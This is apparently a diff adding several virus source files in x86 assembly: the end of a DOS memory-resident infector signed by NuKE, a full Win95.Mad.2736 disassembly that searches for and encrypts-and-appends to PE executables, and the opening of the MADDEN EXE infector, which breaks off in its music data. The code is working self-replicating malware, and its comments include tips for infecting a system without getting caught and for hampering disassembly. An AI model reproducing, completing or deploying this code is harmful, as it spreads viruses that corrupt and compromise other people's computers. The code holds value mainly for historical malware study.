;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
SUB_9 PROC NEAR
|
||||
MOV DX,10H
|
||||
MUL DX ; dx:ax = reg * ax
|
||||
RETN
|
||||
SUB_9 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_10 PROC NEAR
|
||||
XOR AX,AX ; If if wants to dissamble
|
||||
XOR BX,BX ; us give him a HARD time...
|
||||
XOR CX,CX ; By making all into 0
|
||||
XOR DX,DX ; Zero register
|
||||
XOR SI,SI ; Zero register
|
||||
XOR DI,DI ; Zero register
|
||||
XOR BP,BP ; Zero register
|
||||
RETN
|
||||
SUB_10 ENDP
|
||||
|
||||
LOC_35:
|
||||
PUSH DS
|
||||
CALL SUB_11
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_11 PROC NEAR
|
||||
MOV AX,4B4DH
|
||||
INT 21H ; Load and EXEC file...
|
||||
; be runned...
|
||||
NOP
|
||||
JC LOC_36 ; Jump if carry Set
|
||||
JMP LOC_46
|
||||
LOC_36:
|
||||
POP SI
|
||||
PUSH SI
|
||||
MOV DI,SI
|
||||
XOR AX,AX ; Zero register
|
||||
PUSH AX
|
||||
POP DS
|
||||
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
|
||||
MOV CS:DATA_49E[SI],AX ; Move lots of data
|
||||
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
|
||||
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
|
||||
MOV CS:DATA_47E[DI],BX
|
||||
MOV CS:DATA_48E[DI],ES
|
||||
MOV AX,DS:DATA_7E
|
||||
CMP AX,0F000H
|
||||
JNE LOC_44 ; Jump if not equal
|
||||
MOV DL,80H
|
||||
MOV AX,DS:DATA_8E
|
||||
CMP AX,0F000H
|
||||
JE LOC_37 ; Jump if equal
|
||||
CMP AH,0C8H
|
||||
JB LOC_44 ; Jump if below
|
||||
CMP AH,0F4H
|
||||
JAE LOC_44 ; Jump if above or =
|
||||
TEST AL,7FH
|
||||
JNZ LOC_44 ; Jump if not zero
|
||||
MOV DS,AX
|
||||
CMP WORD PTR DS:DATA_51E,0AA55H
|
||||
JNE LOC_44 ; Jump if not equal
|
||||
MOV DL,DS:DATA_52E
|
||||
LOC_37:
|
||||
MOV DS,AX
|
||||
XOR DH,DH ; Zero register
|
||||
MOV CL,9
|
||||
SHL DX,CL ; Shift w/zeros fill
|
||||
MOV CX,DX
|
||||
XOR SI,SI ; Zero register
|
||||
|
||||
LOCLOOP_38:
|
||||
LODSW ; String [si] to ax
|
||||
CMP AX,0FA80H
|
||||
JNE LOC_39 ; Jump if not equal
|
||||
LODSW ; String [si] to ax
|
||||
CMP AX,7380H
|
||||
JE LOC_40 ; Jump if equal
|
||||
JNZ LOC_41 ; Jump if not zero
|
||||
LOC_39:
|
||||
CMP AX,0C2F6H
|
||||
JNE LOC_42 ; Jump if not equal
|
||||
LODSW ; String [si] to ax
|
||||
CMP AX,7580H
|
||||
JNE LOC_41 ; Jump if not equal
|
||||
LOC_40:
|
||||
INC SI
|
||||
LODSW ; String [si] to ax
|
||||
CMP AX,40CDH
|
||||
JE LOC_43 ; Jump if equal
|
||||
SUB SI,3
|
||||
LOC_41:
|
||||
DEC SI
|
||||
DEC SI
|
||||
LOC_42:
|
||||
DEC SI
|
||||
LOOP LOCLOOP_38 ; Loop if cx > 0
|
||||
|
||||
JMP SHORT LOC_44
|
||||
LOC_43:
|
||||
SUB SI,7
|
||||
MOV CS:DATA_49E[DI],SI
|
||||
MOV CS:DATA_50E[DI],DS
|
||||
LOC_44:
|
||||
MOV AH,62H
|
||||
INT 21H ; Simple...Get the PSP
|
||||
; Address (Program segment
|
||||
MOV ES,BX ; address and but in BX)
|
||||
MOV AH,49H
|
||||
INT 21H ; Get the Free memory from
|
||||
; the system
|
||||
MOV BX,0FFFFH ; release extra memory blocks
|
||||
MOV AH,48H
|
||||
INT 21H ; Allocate the memory
|
||||
; At BX (# bytes)
|
||||
SUB BX,66H ; it attaches virus right
|
||||
NOP ; under the 640k
|
||||
JC LOC_46
|
||||
MOV CX,ES ; did it work? If not just
|
||||
STC ; end the virus...
|
||||
ADC CX,BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Adjust teh memory block
|
||||
; size! BX has the # of bytes
|
||||
MOV BX,65H
|
||||
STC ; Set carry flag
|
||||
SBB ES:DATA_17E,BX ; Where to attach itself!
|
||||
PUSH ES ; under 640K
|
||||
MOV ES,CX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Just change the memory
|
||||
; allocations! (BX=Btyes Size)
|
||||
MOV AX,ES
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
|
||||
CALL SUB_9
|
||||
MOV BX,AX
|
||||
MOV CX,DX
|
||||
POP DS
|
||||
MOV AX,DS
|
||||
CALL SUB_9
|
||||
ADD AX,DS:DATA_18E
|
||||
ADC DX,0
|
||||
SUB AX,BX
|
||||
SBB DX,CX
|
||||
JC LOC_45 ; Jump if carry Set
|
||||
SUB DS:DATA_18E,AX
|
||||
LOC_45:
|
||||
MOV SI,DI
|
||||
XOR DI,DI ; Zero register
|
||||
PUSH CS
|
||||
POP DS
|
||||
SUB SI,4D7H
|
||||
MOV CX,64EH
|
||||
INC CX
|
||||
REP MOVSB ; Rep when cx >0 Mov [si] to
|
||||
MOV AH,62H ; es:[di]
|
||||
INT 21H ; Get the Program segment
|
||||
; prefix...so we can infect it
|
||||
DEC BX
|
||||
MOV DS,BX
|
||||
MOV BYTE PTR DS:DATA_15E,5AH
|
||||
MOV DX,1E4H
|
||||
XOR AX,AX ; Zero register
|
||||
PUSH AX
|
||||
POP DS
|
||||
MOV AX,ES
|
||||
SUB AX,10H
|
||||
MOV ES,AX
|
||||
CLI ; Disable interrupts
|
||||
MOV DS:DATA_3E,DX ;
|
||||
MOV WORD PTR DS:DATA_3E+2,ES
|
||||
STI ; Enable interrupts
|
||||
DEC BYTE PTR DS:DATA_14E ;
|
||||
LOC_46:
|
||||
POP SI
|
||||
CMP WORD PTR CS:DATA_42E[SI],5A4DH
|
||||
JNE LOC_47 ; Jump if not equal
|
||||
POP DS
|
||||
MOV AX,CS:DATA_46E[SI]
|
||||
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
|
||||
PUSH CS ; the program and continue
|
||||
POP CX ; running the original
|
||||
SUB CX,AX ; program...
|
||||
ADD CX,BX
|
||||
PUSH CX
|
||||
PUSH WORD PTR CS:DATA_44E[SI]
|
||||
PUSH DS
|
||||
POP ES
|
||||
CALL SUB_10
|
||||
RETF
|
||||
LOC_47:
|
||||
POP AX
|
||||
MOV AX,CS:DATA_42E[SI]
|
||||
MOV WORD PTR CS:[100H],AX
|
||||
MOV AX,CS:DATA_43E[SI]
|
||||
MOV WORD PTR CS:[102H],AX
|
||||
MOV AX,100H
|
||||
PUSH AX
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH DS
|
||||
POP ES
|
||||
CALL SUB_10
|
||||
RETN
|
||||
SUB_11 ENDP
|
||||
|
||||
|
||||
SEG_A ENDS
|
||||
|
||||
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
Rock Steady [NuKE]
|
||||
@@ -0,0 +1,520 @@
|
||||
;Win95.Mad.2736 disassembly
|
||||
;(c) Vecna/29A
|
||||
|
||||
;Here is the disassembly of one of the first Win95 virus, that implemented
|
||||
;several original features. It was the first encripted win95 virus, and
|
||||
;the second one to not add a new section to the host (the first according
|
||||
;to AVPVE) the first was actually Win32.Jacky. When executed,
|
||||
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
|
||||
;and call they everytime that need get a function, instead of searching
|
||||
;once and storing the API address. Anyway, the API search dont seens reliable
|
||||
;enought, and i cant make it replicate in my machine.
|
||||
|
||||
;A special thank goes this time for VirusBuster, my virus provider, that
|
||||
;always have nice virii for me... :-)
|
||||
;Tasm /m w95mad.asm
|
||||
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd ?
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call delta
|
||||
delta:
|
||||
pop edi
|
||||
mov eax, edi
|
||||
old_RVA:
|
||||
sub eax, 2005h ;setup host entry point
|
||||
sub edi, offset delta
|
||||
mov ds:HostEntry[edi], eax
|
||||
mov ds:SaveEBP[edi], ebp
|
||||
mov ebp, edi
|
||||
xor eax, eax
|
||||
mov edi, offset start_encript
|
||||
add edi, ebp
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
decript_loop:
|
||||
xor [edi], al
|
||||
inc edi
|
||||
loop decript_loop
|
||||
jmp short start_encript
|
||||
|
||||
HostEntry dd 0
|
||||
SaveEBP dd 0
|
||||
Key db 0
|
||||
|
||||
start_encript:
|
||||
mov ss:TotalInf[ebp], 0
|
||||
mov eax, 4550h
|
||||
mov edi, 0BFF70000h
|
||||
mov ecx, 1000h
|
||||
cld
|
||||
search_kernel:
|
||||
repne scasw
|
||||
jnz return_host
|
||||
add ss:Seed[ebp], edi
|
||||
dec edi
|
||||
dec edi
|
||||
cmp word ptr [edi+4], 14Ch
|
||||
jnz short search_kernel
|
||||
cmp word ptr [edi+14h], 0
|
||||
jz short search_kernel
|
||||
mov bx, [edi+16h]
|
||||
and bx, 0F000h
|
||||
cmp bx, 2000h ;is a DLL?
|
||||
jnz short search_kernel
|
||||
cmp dword ptr [edi+34h], 0BFF70000h
|
||||
jl short search_kernel
|
||||
mov eax, [edi+34h]
|
||||
mov ss:KernelBase[ebp], eax
|
||||
xor eax, eax
|
||||
mov ax, [edi+14h]
|
||||
add eax, edi
|
||||
add eax, 18h
|
||||
mov cx, [edi+6] ;number of sections
|
||||
search_edata:
|
||||
cmp dword ptr [eax], 'ADE.'
|
||||
jnz short no_edata
|
||||
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
|
||||
jz short found_export ;export section
|
||||
no_edata:
|
||||
add eax, 28h
|
||||
dec cx
|
||||
or cx, cx
|
||||
jnz short search_edata
|
||||
jmp return_host
|
||||
|
||||
found_export:
|
||||
mov ebx, [eax+0Ch]
|
||||
add ebx, ss:KernelBase[ebp]
|
||||
mov edi, [ebx+20h]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
mov ecx, [ebx+14h]
|
||||
sub ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
mov ss:pAPIRVA[ebp], eax
|
||||
mov ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
xchg eax, ecx
|
||||
xchg edi, edx
|
||||
|
||||
search_APIs:
|
||||
sub ecx, 4
|
||||
mov edi, edx
|
||||
add edi, ecx
|
||||
mov edi, [edi]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
lea esi, szGetProcAddres[ebp]
|
||||
lea eax, pGetProcAddress[ebp]
|
||||
call extract_addr
|
||||
lea eax, pGetModuleHdle[ebp]
|
||||
lea esi, szGetModuleHdle[ebp]
|
||||
call extract_addr
|
||||
cmp ecx, 0
|
||||
jnz short search_APIs
|
||||
cmp ss:pGetProcAddress[ebp], 0
|
||||
jz return_host
|
||||
cmp ss:pGetModuleHdle[ebp], 0
|
||||
jz return_host
|
||||
lea eax, _Kernel32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz return_host
|
||||
lea eax, _GetDir[ebp]
|
||||
call get_api_addr
|
||||
jb _check_payload
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
push 0FFh ;save current directory
|
||||
call eax
|
||||
|
||||
find_filez:
|
||||
lea eax, _FFile[ebp]
|
||||
call get_api_addr
|
||||
jb no_payload
|
||||
mov edx, offset FINDATA ;start of find struct
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset ExeMask
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
mov ss:SearchHandle[ebp], eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz change_dir ;error, then go down a dir
|
||||
|
||||
infect_next:
|
||||
mov eax, dword ptr ss:FileName[ebp]
|
||||
xor ss:Seed[ebp], eax
|
||||
cmp eax, 186A0h
|
||||
jnb error_close
|
||||
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
|
||||
jnz error_close ;win95 never set this, so
|
||||
lea eax, _CreateFile[ebp] ;probably is a safeguard
|
||||
call get_api_addr ;to no infect own hdd
|
||||
jb no_payload
|
||||
push 0
|
||||
push ss:FINDATA[ebp]
|
||||
push 3
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
mov edx, offset FileName2
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz find_next
|
||||
mov ss:FileHandle[ebp], eax
|
||||
mov edi, 3Ch
|
||||
call file_seek
|
||||
mov edi, offset PEPointer
|
||||
add edi, ebp
|
||||
mov ecx, 4
|
||||
call read_file
|
||||
jb error_close
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call read_file
|
||||
cmp ss:PEHeader[ebp], 4550h
|
||||
jnz error_close
|
||||
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
|
||||
jz error_close
|
||||
xor esi, esi
|
||||
xor eax, eax
|
||||
mov ax, ss:NumberSections[ebp]
|
||||
dec ax
|
||||
mov ecx, 28h
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
mov si, ax
|
||||
mov eax, 0BB8h
|
||||
mov ecx, ss:FileAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
add ss:szRVA[ebp+esi], eax ;virtual size of section
|
||||
mov eax, 7D0h
|
||||
mov ecx, ss:ObjAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
|
||||
mov ecx, edx
|
||||
add edx, ss:szRAW[ebp+esi] ;size of raw data
|
||||
push edx
|
||||
add ss:pRAW[ebp+esi], eax ;pointer to raw data
|
||||
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
|
||||
add ecx, ss:RVA[ebp+esi] ;RVA of section
|
||||
mov edx, ss:EntryRVA[ebp]
|
||||
mov ss:EntryRVA[ebp], ecx
|
||||
sub ecx, edx
|
||||
add ecx, 5
|
||||
mov dword ptr ss:old_RVA+1[ebp], ecx
|
||||
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call write_file ;write the modificated
|
||||
pop edi ;header info
|
||||
add ss:Seed[ebp], edi
|
||||
call file_seek
|
||||
mov eax, ss:Seed[ebp]
|
||||
neg eax
|
||||
mov ss:Key[ebp], al
|
||||
mov esi, offset start
|
||||
add esi, ebp
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
cld
|
||||
repe movsb ;zopy virus to work area
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
add edi, 45h
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
|
||||
enc_loop:
|
||||
xor [edi], al ;encript it
|
||||
inc edi
|
||||
loop enc_loop
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
call write_file ;attach virus
|
||||
|
||||
error_close:
|
||||
not ss:Seed[ebp]
|
||||
lea eax, _CloseFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
|
||||
find_next:
|
||||
lea eax, _FNFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, FINDATA[ebp]
|
||||
push edx
|
||||
push ss:SearchHandle[ebp]
|
||||
call eax
|
||||
cmp eax, 0
|
||||
jnz infect_next
|
||||
|
||||
change_dir:
|
||||
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
|
||||
jz short _check_payload ;infected
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, DotDot[ebp] ;go down a directory
|
||||
push edx
|
||||
call eax
|
||||
inc ss:TotalInf[ebp]
|
||||
cmp eax, 1
|
||||
jz find_filez
|
||||
|
||||
_check_payload:
|
||||
jmp short check_payload
|
||||
|
||||
read_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _ReadFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short rf_addr_ok
|
||||
stc
|
||||
retn
|
||||
rf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
write_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _WriteFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short wf_addr_ok
|
||||
stc
|
||||
retn
|
||||
wf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
file_seek:
|
||||
lea eax, _FileSeek[ebp]
|
||||
call get_api_addr
|
||||
push 0
|
||||
push 0
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
check_payload:
|
||||
lea eax, _GetTime[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
lea edx, SYSTIME[ebp]
|
||||
push edx
|
||||
call eax
|
||||
cmp ss:cDay[ebp], 1
|
||||
jnz short no_payload
|
||||
lea eax, _User32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax ;get handle for USER32.DLL
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz short no_payload
|
||||
lea eax, _MsgBox[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
push 1030h
|
||||
mov edx, offset MsgTitle
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset MsgText
|
||||
add edx, ebp
|
||||
push edx
|
||||
push 0
|
||||
call eax ;pop a MessageBox with virus
|
||||
lea eax, _Kernel32[ebp] ;credits
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
|
||||
no_payload:
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short return_host
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
call eax
|
||||
|
||||
return_host:
|
||||
mov edi, ebp
|
||||
mov ebp, ds:SaveEBP[edi]
|
||||
jmp ds:HostEntry[edi]
|
||||
|
||||
extract_addr:
|
||||
pusha
|
||||
mov ecx, [esi]
|
||||
add esi, 4
|
||||
repe cmpsb ;is api we want?
|
||||
popa
|
||||
jnz short no_func
|
||||
xchg eax, esi
|
||||
mov eax, [ebx+1Ch]
|
||||
add eax, ss:pAPIRVA[ebp]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
add eax, ecx
|
||||
mov eax, [eax]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
mov [esi], eax ;set adress
|
||||
no_func:
|
||||
retn
|
||||
|
||||
get_api_addr:
|
||||
push eax
|
||||
mov eax, ss:KernelHandle[ebp]
|
||||
push eax
|
||||
call ss:pGetProcAddress[ebp]
|
||||
cmp eax, 0
|
||||
jnz short proc_found
|
||||
stc ;set carry on error
|
||||
proc_found:
|
||||
retn
|
||||
|
||||
KernelBase dd 0
|
||||
pAPIRVA dd 0
|
||||
|
||||
pGetProcAddress dd 0
|
||||
szGetProcAddres dd 0Fh ;size of string to search
|
||||
db 'GetProcAddress',0
|
||||
|
||||
pGetModuleHdle dd 0
|
||||
szGetModuleHdle dd 11h ;size of string to search
|
||||
db 'GetModuleHandleA',0
|
||||
|
||||
_Kernel32 db 'KERNEL32',0
|
||||
_User32 db 'USER32',0
|
||||
|
||||
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
|
||||
|
||||
_FFile db 'FindFirstFileA',0 ;and all these otherz from
|
||||
_CreateFile db 'CreateFileA',0 ;kernel32
|
||||
_CloseFile db 'CloseHandle',0
|
||||
_ReadFile db 'ReadFile',0
|
||||
_WriteFile db 'WriteFile',0
|
||||
_FileSeek db 'SetFilePointer',0
|
||||
_FNFile db 'FindNextFileA',0
|
||||
_GetTime db 'GetLocalTime',0
|
||||
_SetDir db 'SetCurrentDirectoryA',0
|
||||
_GetDir db 'GetCurrentDirectoryA',0
|
||||
|
||||
KernelHandle dd 0 ;also used for USER32.DLL
|
||||
;when using payload
|
||||
|
||||
MsgTitle db 'Multiplatform Advanced Destroyer',0
|
||||
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
|
||||
db 'Welcome to my first virus for Windoze95...',0Dh
|
||||
db 'Distribution & Copyright by Black Angel 1997',0
|
||||
;uhh... a confession... ;-)
|
||||
|
||||
ExeMask db '*.eXe',0
|
||||
|
||||
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
|
||||
|
||||
DotDot db '..',0 ;for directory changing
|
||||
|
||||
SearchHandle dd 0
|
||||
FileHandle dd 0
|
||||
NumRead dd 0
|
||||
Seed dd 0
|
||||
|
||||
SYSTIME equ this byte
|
||||
cYear dw 0
|
||||
cMonth dw 0
|
||||
cDWeek dw 0
|
||||
cDay dw 0
|
||||
cHour dw 0
|
||||
cMin dw 0
|
||||
cSec dw 0
|
||||
cMlSec dw 0
|
||||
|
||||
FINDATA dd 0 ;File Attribute
|
||||
dd 0 ;Creation Date
|
||||
dd 0 ;Last Acess Date
|
||||
dd 0 ;Last Write Date
|
||||
dd 0 ;File Size h
|
||||
dd 0 ;File Size l
|
||||
dd 0 ;Reserved
|
||||
Security dd 0
|
||||
FileName db 0Ch dup(0)
|
||||
FileName2 db 200h dup(0)
|
||||
|
||||
PEPointer dd 0
|
||||
TotalInf db 0
|
||||
CurrentDir db 100h dup(0)
|
||||
|
||||
PEHeader dd 0 ;from here to end, are all
|
||||
dw 0 ;bufferz that w95.mad.2736
|
||||
NumberSections dw 0 ;use for read, encription
|
||||
db 20h dup(0) ;and like...
|
||||
EntryRVA dd 0
|
||||
db 0Ch dup(0)
|
||||
FileAlign dd 0
|
||||
ObjAlign dd 0
|
||||
db 18h dup(0)
|
||||
InfectionMark dd 0
|
||||
EncriptedBody db 0A4h dup(0)
|
||||
szRVA dd 0
|
||||
RVA dd 0
|
||||
pRAW dd 0
|
||||
szRAW dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
ObjAttr dd 0
|
||||
db 608Ch dup(0)
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,805 @@
|
||||
;The MADDEN virus is an EXE file infector which can jump from directory to
|
||||
;directory. It attaches itself to the end of a file and
|
||||
;modifies the EXE file header so that it gets control first, before the host
|
||||
;program. When it is done doing its job, it passes control to the host program,
|
||||
;so that the host executes without a hint that the virus is there.
|
||||
|
||||
|
||||
.SEQ ;segments must appear in sequential order
|
||||
;to simulate conditions in actual active virus
|
||||
|
||||
|
||||
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||
|
||||
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||
;attaches itself to another EXE file. As such, the host program for this
|
||||
;installer simply tries to delete itself off of disk and terminates. That is
|
||||
;worthwhile if you want to infect a system with the virus without getting
|
||||
;caught. Just execute the program that infects, and it disappears without a
|
||||
;trace. You might want to name the program something more innocuous, though.
|
||||
;MADDEN also locks the pc into a 'maddening' toon when it runs out
|
||||
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
|
||||
;then linked to the 'infected' .exe form.)
|
||||
|
||||
HOSTSEG SEGMENT BYTE
|
||||
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||
|
||||
PGMSTR DB 'MADDEN.EXE',0
|
||||
|
||||
HOST:
|
||||
mov ax,cs ;we want DS=CS here
|
||||
mov ds,ax
|
||||
mov dx,OFFSET PGMSTR
|
||||
mov ah,41H
|
||||
int 21H ;delete this exe file
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally
|
||||
HOSTSEG ENDS
|
||||
|
||||
|
||||
;Host program stack segment
|
||||
|
||||
HSTACK SEGMENT PARA STACK
|
||||
db 100H dup (?) ;100 bytes long
|
||||
HSTACK ENDS
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;This is the virus itself
|
||||
|
||||
STACKSIZE EQU 100H ;size of stack for the virus
|
||||
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||
|
||||
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||
|
||||
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||
;ASM file is layed out, this program will look exactly like a simple program
|
||||
;that was infected by the virus.
|
||||
|
||||
VSEG SEGMENT PARA
|
||||
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||
|
||||
;data storage area comes before any code
|
||||
VIRUSID DW 0C8AAH ;identifies virus
|
||||
OLDDTA DD 0 ;old DTA segment and offset
|
||||
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||
ALLFILE DB '\*.*',0 ;search string for any file
|
||||
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||
LEVEL DB 0 ;depth to search directories for a file
|
||||
HANDLE DW 0 ;file handle
|
||||
FATTR DB 0 ;old file attribute storage area
|
||||
FTIME DW 0 ;old file time stamp storage area
|
||||
FDATE DW 0 ;old file date stamp storage area
|
||||
FSIZE DD 0 ;file size storage area
|
||||
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||
VCODE DB 1 ;identifies this version
|
||||
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 3043,0010,
|
||||
|
||||
